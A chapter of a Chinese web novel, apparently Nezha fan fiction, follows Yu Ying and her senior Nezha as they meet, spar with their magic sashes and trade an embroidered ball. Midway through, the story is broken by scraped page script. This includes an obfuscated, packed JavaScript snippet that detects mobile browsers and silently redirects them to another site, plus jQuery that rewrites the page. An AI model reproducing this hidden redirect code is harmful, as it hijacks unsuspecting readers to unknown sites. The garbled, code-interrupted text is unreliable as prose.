“凭什么?!我不服!”
一道身影立于山巅,如雪松般不容撼动分毫,剑指苍穹,一字一句,皆如泣血。
“我……绝不受制于天。”
鲜血喷洒。
与应站在池畔盯着水面,指尖悬停,梦中的场景还历历在目。
“看够了吗?”
清亮的少年音突然从身后传来,惊碎了池面的平静,与应猛地转身,往生绫已然出手,却在看清来人时硬生生停在半空。
少年生得极好,眉如墨画,眼尾微挑,唇若涂朱,偏生眼底燃着金焰,生生将那几分秀美压成凌厉的艳色。
她目光移到对方颈上悬着的乾坤圈上,想来这就是传闻中闹海屠龙的三太子。
他斜倚在一旁的巨石边,火尖枪随意地搭在肩头,嘴角噙笑,眼底却一片冷然。
“师父叫我来接人。”他懒懒道,“没想到是个连水都怕的胆小鬼。”
“师父呢?”
“忙着给你准备见面礼。”哪吒忽然凑近,鼻尖几乎贴上她的颈侧,“你这里面封了东西?”
“放开。”
“脾气倒不小。”哪吒轻笑,伸手扣住她脖颈,“让师兄看看——”
话音戛然而止,手下的皮肤下隐约有黑雾流动,哪吒眯起眼,指腹擦过那道若隐若现的金色咒印。
“果然。”他嗤笑,“师父又捡了个麻烦回来。”
“去寒潭。”哪吒转身,混天绫在身后划出一道血线,“你身上那东西需要冷静一下。”
“不必。”
“由不得你。”哪吒突然回身,火尖枪横扫,枪风卷起池水,“要么自己走,要么——”
“打晕了拖过去。”
少女清浅的眸子眯起,这可真是,丝毫都不给她拒绝的权利,她又恢复面上笑意,缓声道:“明白了,我去就是了。”
少年上下打量她,显然不信。
果然在下一瞬,雪白绫带飞出直朝他面门袭来,却被闪过的红影截住,红白绫带在空中纠缠数圈,最终打成死结轻飘飘落到水中。
哪吒看着水中纠缠的红白绫带,轻笑出声:“师妹这见面礼,倒是别致。”
与应冷着脸,指尖一勾,往生绫却纹丝不动,两条绫带如不死不休的蛇般,纠缠着在池水中缓缓下沉。
是了,本就同根同源,怎会伤到另一方?
哪吒俯身捞起水中纠缠的红白绫带,指尖轻抚过那处死结,心想:这一红一白,跟喜丧似的,叫什么来着?
烛火下的妇人轻轻抚摸孩童的头,呼吸压低声音:“喜事撞丧事,叫红白双煞呀。”
妇人摆出恶狠狠的脸,绘声绘色讲着故事,但总之他没有被吓到就是了,反而还兴致勃勃的挥舞混天绫,说要将那花轿上的新娘子跟棺材里的尸体调个个儿。
与应却想到的是另一层面,太乙真人赐绫时曾意味深长道:“此物与你有缘,亦与他人有旧。”
确实有缘。孽缘。
她抬脚轻轻靠近,正想从背后捅穿他时,鼻尖却萦绕着一股清甜。
她顺着香气发散的地方寻去,眸子随意扫了扫,少年沾着水珠的收手背上不知何时划开一道口子,簌簌落着花瓣。
偏偏他本人还不知情,用力扯了扯两条绫子,花瓣都撒进池子了也不在意,见有道一直盯着自己的视线,少年轻轻掀起眼皮,将那目光瞪了回去。
与应若无其事移开视线。
他看起来很好吃。她在心里想着。
·
练武场。
哪吒懒散地抛着绣球玩,混天绫松松垮垮地搭在肩上,眉稍随意耷拉着,浑身散着没睡醒的气息。
“先说好,”他打了个哈欠,将绣球抛出场外,“待会打哭了可别怪我。”
与应没说话,微微抬了抬手指,往生绫飞出,直取哪吒咽喉,他眼睛一亮,火尖枪横挡,枪身与白绫相撞。
他借力后跃,混天绫翻涌,瞬间在周身形成屏障。
“偷袭?小师妹,不厚道啊。”
与应唇角微勾:“师兄教得好。”
话音未落,她已闪身逼近,指尖凝聚出寒芒,直刺哪吒心口,他侧身避让,却见那道寒芒突然转向,往生绫缠上他的脚踝,猛地一扯,哪吒调整姿势落在地上,激起一片尘土。
场边观战的太乙真人挑了挑眉,端起茶盏抿了一口。
烟尘散去,哪吒却不见了踪影,与应警觉地环顾四周,头顶传来破空声,她急退数步,枪尖深深插入地面,震裂数块青石。
“躲得挺快。那这样呢!”
哪吒的声音从四面八方传来,混天绫分化出数十道红影,将整个演武场笼罩其中。
红影如网压下,已是避无可避,她闭了闭眼,将往生绫往地上一拍,白绫上的金纹亮起,化作无数细密符文悬浮空中,将红影尽数挡住。
多年前,太乙真人在某处山巅取得暮云,织就双绫,一个融了寒酥,一个引了金乌。
一曰往生,镇魂安魄,主超度。
一曰混天,翻天覆地,主护身。
太乙真人看着场中交织的红白双绫,忽觉得有些无奈,摇头轻叹道:“好好的护身法器,硬是被用成了索命凶器。”
哪吒拉开和少女的距离,满不在乎地转着火尖枪:“师父,法器不就是拿来用的?”
太乙真人拂尘轻扫,混天绫不受控制地飞回他手中,与应低头看向自己的往生绫,白绫边缘的金纹流转间隐约可见血色暗痕。
她似乎,还从未用这绫子超度过呢。
“发什么呆?你也强不到哪去。”哪吒突然凑近,发丝轻轻掠过她脸颊,带来一阵莲花香,“往生绫本该是最温和的法器,你倒好,把它使得比刀还利。”
这位师兄果真是生了副好皮囊,眉目如画,唇红齿白,一双桃花眼顾盼生辉,偏又带着几分桀骜不驯的少年意气。
他凑得极近,呼吸间带着淡淡的莲香,睫毛在眼下投出一小片阴影,衬得肌肤如玉般通透。
太近了,太香了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647607|172776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“哪吒,”心里这么想着,但她却用指尖抵住哪吒心口,声音轻得只有他能听见,“再近一寸,我就让你尝尝往生绫真正的用法。”
“哦?是索命,还是……”他唇角擒着笑意,握住她手腕,带着她的手按向自己左胸,“往生?”
狂傲至极,自负,是她给他的初次印象,但……她微微嗅着少年发间的莲香,心想:偏偏又好看又香。
半晌,他放开手,发尾在空中荡开一道弧线,抬手收回落在场外的绣球,满不在意道:“可惜,这副身体早已没了魂魄。”
没了香气,她这才回过神来,转眼的功夫,少年已走出大半距离。
“没了魂魄?”她轻声重复,“那站在我面前的是谁?”
哪吒背对着她,绣球在掌心抛出一道弧线:“藕,花,珠子。”
总归不是活生生的人。
与应朝他走去,赶在他回头之前一把扯住那垂落的马尾,发丝在晨光中泛着绸缎般的光泽,摸起来又软又滑。
“嘶……”哪吒下意识回头,不料她抓得更紧,头皮一痛,“松手!”
“会疼的,”与应非但不放,反而凑得更近,鼻尖几乎贴上他的,“怎会是死物?”
她面相娇俏纯善,眼尾如狸儿般微微上挑,瞳色浅淡,额间那道嫣红细长的钿纹如一滴将落未落的血珠。
此刻那双眸子里正定定凝着他,如同照见一泓清潭。
他移开视线后退一步,发丝从她指间滑落,故作镇定道:“你倒是比我想的有意思。”
绣球被粗暴地塞进与应手中,还带着少年掌心的温度。
“辰时,”哪吒头也不回地摆摆手,“别迟到。”
·
傍晚。
与应沐浴完出来,案几上的绣球在月光的照射下金线流转,映得满室生辉,她伸手戳了戳,绣球咕噜噜滚到墙边,撞出一道细微的声响。
隔壁——
哪吒躺在池中央的莲花座上,指尖摩挲着发梢,一道红影破空而来,险些砸中他眉心。
他抬手接住,正是白日给出去的绣球,墙头传来窸窣声响,清凌凌的声音从那里传来:“还你的!”
哪吒抬眼,与应趴在两人洞府之间的矮墙上,她换了身素白寝衣,发梢还滴着水,显然刚沐浴完。
他刚要开口,墙头的身影却已翩然消失,月光下只剩几滴水珠从墙头滴落,落在莲池中荡开细小的涟漪。
与应回到内室,指尖轻轻拂过搁在枕边的白绫,吹灭烛火后闭眼躺在榻上,隔壁莲池的水声隐约传来,混着少年若有若无的叹息。
绣球已经还回去了。可掌心似乎还残留着那抹温度。
她想起白日里触碰到的那个空荡荡的胸膛,想起他说“这副身体早已没了魂魄”时的神情。
可他的身体,眼睛,分明是暖的。
窗外,一轮明月高悬,月光透过窗,直直洒在少女眉心的钿纹上。
外面,原本夜色沉沉的天幕破碎一瞬,又瞬间恢复原样。